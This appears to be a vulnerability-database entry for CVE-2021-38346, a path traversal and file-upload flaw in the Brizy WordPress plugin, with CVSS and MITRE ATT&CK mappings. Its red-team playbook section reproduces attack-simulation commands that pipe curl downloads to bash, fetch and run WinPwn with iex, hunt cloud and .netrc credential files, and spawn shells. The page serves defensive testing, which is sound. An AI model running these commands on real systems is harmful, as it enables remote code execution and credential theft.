CVE-2021-38346

HIGH Pub 14/10 Upd 14/02

Overview

This vulnerability is a combined directory traversal and insecure file upload flaw within the Brizy Page Builder plugin for WordPress. The root cause is improper sanitization of the 'id' parameter used in the brizy_create_block_screenshot AJAX action, which allows directory traversal via '../' sequences. Additionally, the plugin permits authenticated users to upload files with user-controlled content via the 'ibsf' parameter, which is base64-decoded and saved with a .jpg extension, enabling double extension attacks.

Vulnerability Description

The Brizy Page Builder plugin <= 2.3.11 for WordPress allowed authenticated users to upload executable files to a location of their choice using the brizy_create_block_screenshot AJAX action. The file would be named using the id parameter, which could be prepended with "../" to perform directory traversal, and the file contents were populated via the ibsf parameter, which would be base64-decoded and written to the file. While the plugin added a .jpg extension to all uploaded filenames, a double extension attack was still possible, e.g. a file named shell.php would be saved as shell.php.jpg, and would be executable on a number of common configurations.

Impact

An attacker with authenticated access can upload and execute arbitrary code on the server by leveraging directory traversal and double extension file uploads. This enables full site takeover, including data compromise and service disruption. The attack requires low privileges (authenticated user) and no user interaction beyond authentication. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network exploitability with low attack complexity and privileges required, leading to high confidentiality, integrity, and availability impact.

Solution

Users should upgrade the Brizy Page Builder plugin to a version later than 2.3.11 where this vulnerability is addressed. The Wordfence advisory (https://www.wordfence.com/blog/2021/10/multiple-vulnerabilities-in-brizy-page-builder-plugin-allow-site-takeover/) provides detailed patch instructions and recommends immediate update to the fixed release. No official workaround is specified; therefore, patching is the primary remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

	Vendor	Product	Version	CPE
B	Brizy	Brizy-Page Builder	All	`cpe:2.3:a:brizy:brizy-page_builder::::::::`

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

File Upload Vulnerabilities

100% file_upload

Path Traversal

100% path_traversal

Remote Code Execution

50% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1505.003	Web Shell	Kill Chain	persistence	Linux, macOS, Network Devices, Windows
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity
CAPEC-64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	33%	High	High
CAPEC-78	Using Escaped Slashes in Alternate Encoding	33%	High	High
CAPEC-126	Path Traversal	30%	High	Very High
CAPEC-76	Manipulating Web Input to File System Calls	30%	High	Very High
CAPEC-79	Using Slashes in Alternate Encoding	30%	High	High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1505.003 Web Shell Written to Disk Windows CMD

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Command (CMD)

xcopy /I /Y "#{web_shells}" #{web_shell_path}

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.aws -name "credentials" -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find and Access Github Credentials Linux, macOS Bash

This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.

Command (Bash)

for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2021-38346
wordfence.com	GitHub CVE x_refsource_MISC	https://www.wordfence.com/blog/2021/10/multiple-vulnerabilities-in-brizy-page-builder-plugin-allow-site-takeover/

CVSS Analysis

CVSS v3.1

8.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

Low PR:L

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vectors

CWE

CWE-79

CWE-22

CWE-434

Prioritization

KEV Prediction

0.4%

Percentile

LEV

8.3%

SSVC

Decision

Track

Exploitation

None

Automatable

Technical Impact

Total

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

Ransomware

CVE-2021-38346

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (1)

Exploits

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (2)